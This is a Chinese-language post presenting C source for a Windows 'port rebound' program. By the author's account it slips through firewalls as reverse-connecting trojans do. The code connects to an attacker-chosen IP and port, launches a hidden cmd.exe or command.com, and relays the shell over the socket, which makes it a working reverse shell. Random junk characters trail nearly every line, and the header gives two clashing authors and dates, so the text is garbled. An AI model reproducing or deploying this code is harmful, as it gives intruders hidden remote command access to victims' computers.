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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4H hQzVM{  
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/* ============================== =EUi| T4:  
Rebound port in Windows NT ?Bsc;:KF  
By wind,2006/7 J(kC  
===============================*/ ZCDcf   
#include e`;U9Z  
#include @^^,VgW[  
tV9K5ON  
#pragma comment(lib,"wsock32.lib") ya'OI P `  
no8FSqLUS~  
void OutputShell(); B8 R&Q8Q  
SOCKET sClient; ci`N ,&:R  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^spASG -o  
CxJH)H$  
void main(int argc,char **argv) mH7Mch| m  
{ h;t5v6["  
WSADATA stWsaData; b0[H{q-z{X  
int nRet; yA^+<uz}  
SOCKADDR_IN stSaiClient,stSaiServer; W(jP??up  
])mYE }g  
if(argc != 3) e*pYlm  
{ RhI>Ak;-  
printf("Useage:\n\rRebound DestIP DestPort\n"); ){"-J&@?  
return; 7hl,dtn7  
} ' O d_:]  
6" |+\  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9pq-"?vHY0  
SAN/ fnM  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k>!A~gfP~  
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stSaiClient.sin_family = AF_INET; Q#sLIZ8=  
stSaiClient.sin_port = htons(0); u;=a=>05IR  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _A=Pr _kN  
!KmSLr7xU  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g:fzf>oQ>p  
{ H(ds  
printf("Bind Socket Failed!\n"); ~19&s~  
return; 9Xeg &Z|!  
} THz=_L6  
IW- BY =C  
stSaiServer.sin_family = AF_INET; 1n EW'F  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~\[\S!"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Dt]*M_  
$qfNEAmDf\  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  H+Se  
{ jHBP:c  
printf("Connect Error!"); xJF}6yPm@  
return; 'Y:ZWac,  
} nVv=smVOt  
OutputShell(); KmaMS(A(3  
} _kJW/3eE  
5Jm %*Wb  
void OutputShell() |9fGn@-  
{ nfA#d-  
char szBuff[1024]; LLW xzu!<  
SECURITY_ATTRIBUTES stSecurityAttributes; -%>.Z1uj  
OSVERSIONINFO stOsversionInfo; ql%]t~HR0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Xjnv8{X  
STARTUPINFO stStartupInfo; _U`1BmTC2  
char *szShell; UeN+}`!l  
PROCESS_INFORMATION stProcessInformation; <#No t1R  
unsigned long lBytesRead; KPB^>,T2{  
k)B]|,g7G0  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yZqX[U  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `T~~yM)q  
stSecurityAttributes.lpSecurityDescriptor = 0; rd!4u14  
stSecurityAttributes.bInheritHandle = TRUE; g;t>jgX  
i8> ^{GODR  
'I1^70bB  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ew\ZFqA;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q*l_QnfG  
+!)v=NY  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GN@(!V#/4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~t.M!vk  
stStartupInfo.wShowWindow = SW_HIDE; i9quP"<9  
stStartupInfo.hStdInput = hReadPipe; <jHo2U8/"s  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~91) DNaE  
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GetVersionEx(&stOsversionInfo); B3-;]6  
R,KoymXP  
switch(stOsversionInfo.dwPlatformId) LGF5yRk  
{ qo62!q  
case 1: M_EXA _  
szShell = "command.com"; g=_@j`  
break; >Mc,c(CvU  
default: Pq)C(Z  
szShell = "cmd.exe"; d6;"zW|Ec  
break; >Sua:Uff  
} 1"P^!N  
L[cl$ pYV  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pG(%yIiAi  
`w/`qG:dK  
send(sClient,szMsg,77,0); GV(@(bI*  
while(1) DSc:>G  
{ p:CpY'KV_  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D+xHTQNTL  
if(lBytesRead) `dK%I  U  
{ t +@UC+aW  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6;vfl*  
send(sClient,szBuff,lBytesRead,0); 9_<>#)u5  
} FT+[[9i  
else k^v P|*eu  
{ ?^z.WQ|f@  
lBytesRead=recv(sClient,szBuff,1024,0); E4dN,^_ F!  
if(lBytesRead<=0) break; '+*{u]\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FCMV1,  
} K`#bLCXEV0  
} :{ Q[kYj  
";$rcg"%X  
return; qZ|>{^a*  
}
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